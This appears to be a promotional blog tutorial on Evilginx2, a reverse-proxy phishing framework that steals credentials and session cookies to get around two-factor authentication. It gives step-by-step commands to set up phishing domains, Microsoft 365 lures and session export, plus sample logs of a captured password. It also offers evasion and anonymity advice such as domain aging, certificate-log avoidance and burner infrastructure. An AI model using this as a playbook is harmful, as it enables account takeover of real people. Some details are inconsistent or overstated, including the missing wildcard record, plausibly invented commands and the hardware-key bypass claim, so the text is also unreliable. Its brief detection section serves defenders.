Evilginx2: The 2FA Bypass Tool Red Teams Are Secretly Using

Your multi-factor authentication just became optional. That's not hype—it's the terrifying reality that penetration testers and malicious actors alike have weaponized since 2017. While you were setting up Google Authenticator and patting yourself on the back, a quiet revolution in phishing technology was making those six-digit codes virtually meaningless.

What if I told you that the session cookie sitting in your browser right now is worth more than your password and your 2FA code combined? This isn't theoretical. This is happening. And the tool behind it—Evilginx2—is so elegantly dangerous that cybersecurity professionals can't stop talking about it.

The repository at github.com/kgretzky/evilginx2 isn't just another GitHub project with a few stars. It's a standalone man-in-the-middle attack framework that has fundamentally changed how we think about authentication security. Whether you're a red team operator looking to test your organization's defenses or a blue team defender who needs to understand what you're up against, ignoring this tool isn't just risky—it's professionally negligent.

Ready to see how the sausage gets made? Let's dive into the framework that's making CISOs lose sleep worldwide.

What Is Evilginx2?

Evilginx2 is a standalone man-in-the-middle (MitM) attack framework written entirely in Go, designed to phish login credentials alongside session cookies—effectively neutralizing two-factor authentication protections. Created by Kuba Gretzky (@mrgretzky), this tool represents the evolution of the original Evilginx project from 2017, which relied on a custom-modified nginx HTTP server to proxy traffic between victims and legitimate services.

The current iteration is a complete architectural overhaul. Gone is the dependency on external web servers. Evilginx2 implements its own HTTP and DNS servers natively, transforming what was once a complex, multi-component setup into a single, portable binary. This design decision isn't just about convenience—it dramatically reduces the attack surface for detection and simplifies deployment in time-constrained penetration testing scenarios.

Why is it trending now? Three converging factors: the mainstream adoption of 2FA creating a false sense of security, the rise of remote work expanding the phishing attack surface, and the tool's maturation into a stable, feature-rich platform. The release of Evilginx Pro—a commercial evolution with advanced evasion capabilities—has further legitimized reverse proxy phishing as a standard red team methodology. Organizations are finally waking up to the reality that 2FA isn't a silver bullet, and Evilginx2 is the proof-of-concept that keeps security architects up at night.

The framework operates on a deceptively simple principle: instead of cloning a website's login page (traditional phishing), Evilginx2 becomes an invisible proxy. Victims interact with the real service through your server. The real service sends legitimate 2FA challenges. Victims complete them successfully. And you harvest the resulting session cookies—golden tickets that let you assume their identity without ever needing their 2FA device again.

Key Features That Make Evilginx2 Devastatingly Effective

Native HTTP and DNS Servers Unlike its predecessor, Evilginx2 doesn't piggyback on nginx or any external web server. The built-in Go implementations mean zero configuration dependencies and minimal forensic footprint. You compile, you run, you attack. This self-contained architecture also eliminates version conflicts and configuration drift that plagued earlier tools.

Phishlet-Based Architecture Evilginx2 uses "phishlets"—YAML configuration files that define how to proxy and modify traffic for specific targets. This modular approach means the community can develop and share configurations for new services without touching core code. A well-crafted phishlet handles cookie filtering, request/response modification, and credential extraction automatically.

Session Cookie Harvesting This is where traditional phishing dies and Evilginx2 thrives. While old-school tools capture username and password, Evilginx2 intercepts the session cookies established after successful 2FA completion. These cookies are cryptographic proof of authentication—import them into your browser, and you're logged in as the victim. No password needed. No 2FA prompt. Instant access.

Dynamic Certificate Generation The framework automatically handles TLS certificate provisioning through Let's Encrypt integration. This means your phishing domains present valid HTTPS certificates—the green lock that lulls users into false confidence. Combined with convincing domain typosquatting, the visual indicators of security become weapons against the user.

Real-Time Credential Streaming Captured credentials and session data stream to your terminal in real-time. No waiting for logs to sync or batch processing. When a victim bites, you know immediately. This responsiveness is crucial for time-sensitive red team operations where session cookies may have short expiration windows.

Subdomain Isolation Evilginx2 supports sophisticated subdomain configurations, allowing multiple concurrent phishing campaigns from a single server instance. Each target service can operate on its own subdomain with independent phishlet configurations, maximizing infrastructure efficiency.

Use Cases: Where Evilginx2 Dominates

Enterprise Red Team Assessments

When your CISO claims "we're secure because we enabled 2FA," Evilginx2 is your reality check. Red teams use it to demonstrate that authentication without continuous session validation is incomplete security. The tool exposes gaps in session management policies, cookie expiration configurations, and user security awareness training.

Security Awareness Training Validation

Many organizations run phishing simulations with obvious fake pages. Evilginx2 enables high-fidelity simulations that mirror real attacker capabilities. When employees fall for a proxied Microsoft 365 login that perfectly replicates the genuine experience, the lesson sticks. This isn't fear-mongering—it's evidence-based education.

Bug Bounty and Penetration Testing

For authorized security assessments, Evilginx2 efficiently validates whether services properly implement additional session protections beyond 2FA. Does the service detect impossible travel? Are session cookies bound to IP addresses or device fingerprints? These are the questions Evilginx2 helps answer.

Incident Response and Forensic Analysis

Blue teamers deploy Evilginx2 in controlled environments to understand attacker tradecraft. By experiencing the tool from the operator's perspective, defenders develop better detection strategies—identifying telltale network patterns, certificate anomalies, and behavioral indicators that expose reverse proxy phishing.

Product Security Evaluations

SaaS companies use Evilginx2 internally to stress-test their authentication flows. If your product's session cookies can be replayed without device binding or behavioral verification, Evilginx2 will expose that vulnerability before criminals do.

Step-by-Step Installation & Setup Guide

Prerequisites

Before installing Evilginx2, ensure your system meets these requirements:

• Linux-based operating system (Ubuntu/Debian preferred)
• Go 1.18+ installed (for compilation from source)
• Root or sudo access (required for binding to privileged ports 80/443)
• A domain name with DNS A records pointing to your server
• Valid email address for Let's Encrypt certificate registration

Installation from Source

# Install Go if not already present
sudo apt update && sudo apt install -y golang-go git

# Clone the Evilginx2 repository
git clone https://github.com/kgretzky/evilginx2.git

# Navigate to the source directory
cd evilginx2

# Build the standalone binary
# This compiles the HTTP server, DNS server, and all core functionality
go build -o evilginx

# Move to system PATH for global access (optional)
sudo mv evilginx /usr/local/bin/

Initial Configuration

# Create working directory for Evilginx2 data
mkdir -p ~/.evilginx

# Launch Evilginx2 with default configuration
sudo ./evilginx

# Inside the Evilginx2 console, set your base domain
# This domain must have DNS A/AAAA records pointing to this server
: config domain your-phishing-domain.com

# Configure the IP address Evilginx2 will bind to
# Use your server's public IP for external attacks
: config ip 203.0.113.1

# Set contact email for Let's Encrypt certificate provisioning
: config email admin@your-phishing-domain.com

Phishlet Setup and Activation

# List available phishlets in the repository
: phishlets

# Enable a specific phishlet (example: Microsoft 365)
: phishlets enable o365

# Verify phishlet status and certificate generation
: phishlets

# Create a lure URL for the enabled phishlet
: lures create o365

# Display the generated phishing URL
: lures

DNS Configuration Requirements

Your domain's DNS must route through Evilginx2 for the attack to function:

# Required DNS records (replace with your actual values)
Type    Name                Value               TTL
A       @                   203.0.113.1         300
A       www                 203.0.113.1         300
A       login               203.0.113.1         300
NS      @                   ns1.your-domain.com 3600

The * wildcard A record is critical—Evilginx2 dynamically generates subdomains for different phishlets, and all must resolve to your server.

REAL Code Examples from the Repository

Example 1: Basic Evilginx2 Console Interaction

The following demonstrates the core command structure you'll use when operating Evilginx2. These commands are derived directly from the tool's interactive console interface:

# Launch Evilginx2 with verbose output for debugging
sudo ./evilginx -p ./phishlets

# The -p flag specifies the phishlets directory path
# Without this, Evilginx2 looks in ~/.evilginx/phishlets/

# Inside the console, configure global settings
: config domain evilginx-demo.com
: config ip 192.168.1.100
: config email cert@evilginx-demo.com

# Verify configuration loaded correctly
: config
# Output shows all current settings including:
# - Domain: evilginx-demo.com
# - IP: 192.168.1.100
# - Certificate status: not requested yet

What's happening here? The -p parameter tells Evilginx2 where to find phishlet definitions—YAML files that encode the proxying logic for specific services. The config commands establish the foundational parameters: where victims will be directed (domain), where your server listens (ip), and who Let's Encrypt will contact about certificate issues (email). These three values are the minimum viable configuration for any Evilginx2 deployment.

Example 2: Phishlet Structure and Enablement

While the README doesn't expose full phishlet YAML internals, the operational pattern for activating a phishlet follows this documented workflow:

# After starting Evilginx2 and configuring base settings
# List all available phishlets in your phishlets directory
: phishlets

# Expected output shows phishlets like:
# o365       - Microsoft 365
# google     - Google Account
# github     - GitHub
# Each with [enabled] or [disabled] status

# Enable the Microsoft 365 phishlet
: phishlets enable o365

# Evilginx2 now:
# 1. Generates subdomain: login.evilginx-demo.com
# 2. Requests TLS certificate from Let's Encrypt
# 3. Configures proxy rules per o365 phishlet specification
# 4. Starts listening for victim connections

# Verify the phishlet is active and certificate is valid
: phishlets
# o365 should show [enabled] with certificate status

Critical insight: The phishlet isn't just a URL template—it's a protocol-aware proxy configuration. When you enable o365, Evilginx2 loads rules that understand Microsoft's authentication flow: which cookies to intercept, how to rewrite Origin and Referer headers, which JavaScript to inject or strip, and how to extract the session tokens post-authentication. This domain-specific intelligence is what separates Evilginx2 from generic proxy tools.

Example 3: Lure Creation and Session Harvesting

Lures are the actual phishing URLs you'll distribute. Here's how to create and manage them:

# Create a new lure for the enabled o365 phishlet
: lures create o365

# The console outputs a lure ID, e.g., "lure_1 created"

# View all active lures with their URLs
: lures

# Output shows:
# id: lure_1
# phishlet: o365
# url: https://login.evilginx-demo.com/Ab3x9K/mypath
# The path suffix is randomized to evade simple pattern detection

# When a victim visits the URL and completes authentication:
# Evilginx2 streams captured data in real-time:

[+] [2024-01-15T09:23:17Z] [lure_1] new visitor: 198.51.100.42
[+] [2024-01-15T09:23:45Z] [lure_1] credentials: user@company.com / SuperSecret123!
[+] [2024-01-15T09:24:02Z] [lure_1] session cookies captured (12 cookies)
[+] [2024-01-15T09:24:02Z] [lure_1] authentication bypass ready

# Export captured session for analysis or replay
: sessions
# Shows all captured sessions with timestamps and lure associations

# Export specific session cookies to file
: sessions export lure_1 /tmp/captured_session.json

The devastating elegance: Notice the timeline. From first visit to complete session compromise: 45 seconds. The victim entered their password, completed their 2FA challenge (SMS code, authenticator app, or hardware key), and received a legitimate session cookie from Microsoft. Evilginx2 intercepted that cookie in transit. The attacker now possesses a session that's indistinguishable from legitimate use—because it is legitimate, just proxied.

Example 4: Gophish Integration Commands

The README documents official integration with Gophish for campaign management. The forked repository enables this workflow:

# In Gophish with Evilginx integration (separate repository)
# Configure tracking settings to use Evilginx2 lure URLs

# Instead of Gophish's built-in landing pages,
# point email links to your Evilginx2 lure:
https://login.evilginx-demo.com/Ab3x9K/portal

# Gophish tracks email opens and clicks
# Evilginx2 handles credential and session capture
# Data flows back to Gophish dashboard for unified reporting

# This integration requires:
# 1. Modified Gophish from kgretzky/gophish fork
# 2. Matching lure paths in both systems
# 3. Shared database or API for session correlation

Why this matters: Solo operators manually manage lures. Enterprise red teams need campaign orchestration—scheduled sends, recipient lists, open tracking, and consolidated reporting. The Gophish integration bridges this gap, allowing Evilginx2's raw interception power to be wielded through a mature phishing campaign management platform.

Advanced Usage & Best Practices

Domain Aging and Reputation Building Fresh domains trigger security filters immediately. Seasoned operators purchase domains weeks in advance, establish benign content, and build search engine reputation before deploying Evilginx2. This "domain aging" dramatically improves email deliverability and reduces browser warnings.

Certificate Transparency Monitoring Evasion Let's Encrypt certificates appear in public transparency logs within minutes. For high-stakes operations, consider using commercial certificates or pre-provisioned wildcard certificates to minimize discovery windows. Evilginx2's wildcard TLS support in the Pro version addresses this directly.

JavaScript Fingerprinting Countermeasures Modern services fingerprint browsers via JavaScript. Evilginx2's phishlets strip or modify these scripts, but sophisticated targets may detect anomalies. Test thoroughly against your specific target—the Pro version's JavaScript obfuscation provides additional evasion layers.

Session Cookie Rotation Awareness Some platforms rotate session cookies on privilege changes or periodic intervals. Harvested cookies may have limited lifespans. Operate quickly post-capture, and understand your target's session management policies before depending on long-term access.

Infrastructure Segmentation Never run Evilginx2 from infrastructure traceable to your identity. Use burner cloud accounts, cryptocurrency payments, and VPN/proxy chains. The tool itself is legal for authorized testing; your operational security determines whether you stay within ethical boundaries.

Comparison with Alternatives

Why choose Evilginx2? For most red team operators, simplicity wins. Modlishka's Caddy dependency adds friction. Muraena's modular design appeals to researchers but requires more assembly. Evilginx2 hits the sweet spot: mature, documented, and operationally proven. When budget allows, Evilginx Pro eliminates the cat-and-mouse of detection evasion—but the open-source version remains devastatingly effective against standard defenses.

FAQ

Is Evilginx2 illegal to use? Evilginx2 itself is a legitimate security research tool released under BSD-3 license. Legality depends entirely on authorization. Using it against systems you own or have written permission to test is legal. Deploying it against third parties without consent violates computer fraud laws globally.

Can Evilginx2 bypass hardware security keys like YubiKey? Yes—indirectly. Evilginx2 doesn't "break" the cryptographic FIDO2/WebAuthn protocol. Instead, it waits for the legitimate authentication to complete, then steals the resulting session cookie. The hardware key validates to the real service; you harvest the session established after that validation.

How do I detect Evilginx2 attacks in my environment? Look for: certificate transparency log anomalies for lookalike domains, impossible travel on session cookies (same cookie used from disparate locations), missing or anomalous HTTP headers that legitimate services typically set, and user reports of unexpected re-authentication prompts.

What's the difference between Evilginx2 and Evilginx Pro? Evilginx2 is the open-source foundation. Evilginx Pro adds: automated server deployment, maintained official phishlets, advanced phishing detection evasion (including Chrome Enhanced Browser Protection), Botguard for bot filtering, Evilpuppet for Google-specific advanced attacks, and commercial support.

Can I create custom phishlets for internal applications? Yes, though the README notes that creator Kuba Gretzky doesn't provide phishlet creation support. The YAML-based phishlet format is documented, and community resources exist. For proprietary internal apps, you'll need to reverse-engineer the authentication flow and craft appropriate proxy rules.

Does Evilginx2 work against all 2FA methods? Evilginx2 bypasses 2FA by proxying the complete authentication flow—not by attacking the 2FA mechanism itself. This makes it effective against SMS, TOTP, push notifications, and hardware keys alike. The only mitigation is session binding to device or behavioral characteristics that detect proxying.

Where can I learn more about advanced Evilginx2 techniques? The Evilginx Mastery course offers comprehensive training. The help.evilginx.com documentation covers operational basics. Kuba Gretzky's BreakDev blog publishes detailed write-ups for each major release.

Conclusion

Evilginx2 isn't just a tool—it's a paradigm shift in how we evaluate authentication security. The uncomfortable truth it exposes is that 2FA, for all its benefits, was never designed to resist determined man-in-the-middle attacks. Session cookies are the real crown jewels, and Evilginx2 makes harvesting them almost trivially easy.

For red team professionals, this framework is non-negotiable in your arsenal. It demonstrates vulnerabilities that theoretical discussions can't capture. For defenders, understanding Evilginx2's mechanics isn't optional—it's the foundation for building detection strategies that actually work.

The open-source version at github.com/kgretzky/evilginx2 remains a powerful entry point. As threats evolve, the commercial Evilginx Pro offers advanced evasion for sophisticated environments. Whichever path you choose, the knowledge you gain will fundamentally reshape how you think about identity security.

Your move: Clone the repository. Set up a lab. See it work with your own eyes. Because the attackers already have—and they're not reading disclaimers.

Evilginx2 is created by Kuba Gretzky (@mrgretzky) and released under BSD-3 license. Use responsibly, legally, and only with explicit authorization.